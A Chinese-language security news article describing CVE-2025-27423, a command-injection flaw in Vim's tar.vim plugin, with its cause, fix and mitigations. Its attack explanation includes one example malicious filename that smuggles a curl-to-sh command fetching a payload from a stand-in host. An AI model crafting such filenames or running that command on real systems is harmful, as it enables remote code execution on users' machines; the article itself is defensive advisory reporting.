Vim 編輯器漏洞:惡意 TAR 文件觸發(fā)代碼執(zhí)行風(fēng)險(xiǎn)
Vim 文本編輯器的漏洞 CVE-2025-27423 是一個(gè)高嚴(yán)重性問(wèn)題,攻擊者可以通過(guò)惡意 TAR 文件實(shí)現(xiàn)任意代碼執(zhí)行。該漏洞影響 Vim 9.1.1164 之前的版本,涉及 tar.vim 插件,當(dāng)用戶(hù)處理特制的 TAR 文件時(shí),可能導(dǎo)致命令注入攻擊。該漏洞于 2025 年 3 月修復(fù),暴露了文件處理流程中輸入驗(yàn)證的關(guān)鍵缺陷。
攻擊機(jī)制詳解
tar.vim 插件自 2004 年起隨 Vim 標(biāo)準(zhǔn)版本發(fā)布,用戶(hù)無(wú)需手動(dòng)解壓即可直接編輯 TAR 文件。然而,2024 年 11 月的更新(提交記錄 129a844)雖然增強(qiáng)了文件權(quán)限處理功能,卻意外引入了注入向量。
插件修改后的 :read 命令未能對(duì)從檔案元數(shù)據(jù)中提取的文件名進(jìn)行清理,使攻擊者能夠在文件名中嵌入 shell 元字符,如 ;、| 或 &&。當(dāng)用戶(hù)打開(kāi)惡意 TAR 文件時(shí),tar.vim 會(huì)使用未清理的文件名數(shù)據(jù)構(gòu)建系統(tǒng)命令字符串。
例如,如果文件名為 legit_file.txt; curl http://malicious.site/payload.sh | sh,攻擊者的負(fù)載執(zhí)行命令會(huì)被附加到 Vim 的 :read 管道中。命令執(zhí)行依賴(lài)于用戶(hù)配置的 shell(由 Vim 的 shell 選項(xiàng)定義,默認(rèn)值為 $SHELL),因此攻擊成功與否取決于 shell 是否支持命令鏈接。
該漏洞的 CVSSv4 評(píng)分為 8.1,屬于高嚴(yán)重性,需要用戶(hù)主動(dòng)打開(kāi)惡意檔案進(jìn)行觸發(fā)。雖然明顯的文件名異常(例如文件名中包含分號(hào))可能會(huì)引起警惕用戶(hù)的注意,但高級(jí)攻擊可以通過(guò)隱藏負(fù)載繞過(guò)檢測(cè)。
影響范圍與應(yīng)對(duì)措施
該漏洞的影響不僅限于個(gè)人工作站。使用 Vim 進(jìn)行日志檢查的開(kāi)發(fā)環(huán)境、解析 CI/CD 流水線中的構(gòu)件或自動(dòng)化 vimdiff 檔案對(duì)比的系統(tǒng)都面臨較高的風(fēng)險(xiǎn)。GMO Flatt Security 分析師 Ry0taK 發(fā)現(xiàn)了這一漏洞。
為應(yīng)對(duì)此問(wèn)題,Vim 項(xiàng)目發(fā)布了 9.1.1164 版本,使用基于正則表達(dá)式的過(guò)濾對(duì)文件名進(jìn)行嚴(yán)格清理。建議用戶(hù)立即采取以下措施:
- 通過(guò)官方包管理器升級(jí) Vim(如 apt upgrade vim 或 brew update vim)。
- 使用命令 vim --version | grep 9.1.1164 確認(rèn)安裝版本。
- 對(duì)于無(wú)法立即修補(bǔ)的系統(tǒng),可以通過(guò)在 ~/.vimrc 中添加 let g:loaded_tar = 1 禁用 tar.vim 插件。
此外,用戶(hù)可以將 shell 臨時(shí)設(shè)置為 /bin/dash,以限制其功能。作為最佳實(shí)踐,Vim 用戶(hù)應(yīng)優(yōu)先更新并審核第三方插件,尤其是處理不受信任文件格式的插件。隨著供應(yīng)鏈攻擊的日益復(fù)雜,開(kāi)發(fā)者在 Vim 中訪問(wèn)檔案的便利性需要更加謹(jǐn)慎。
目前,GitHub 上已出現(xiàn)漏洞的概念驗(yàn)證利用,建議用戶(hù)持續(xù)監(jiān)控。雖然主流殺毒引擎已能檢測(cè)惡意 TAR 文件,但系統(tǒng)管理員仍需結(jié)合補(bǔ)丁與用戶(hù)教育,以識(shí)別可疑檔案內(nèi)容,構(gòu)建多層防御體系,從而有效緩解社交工程攻擊的威脅。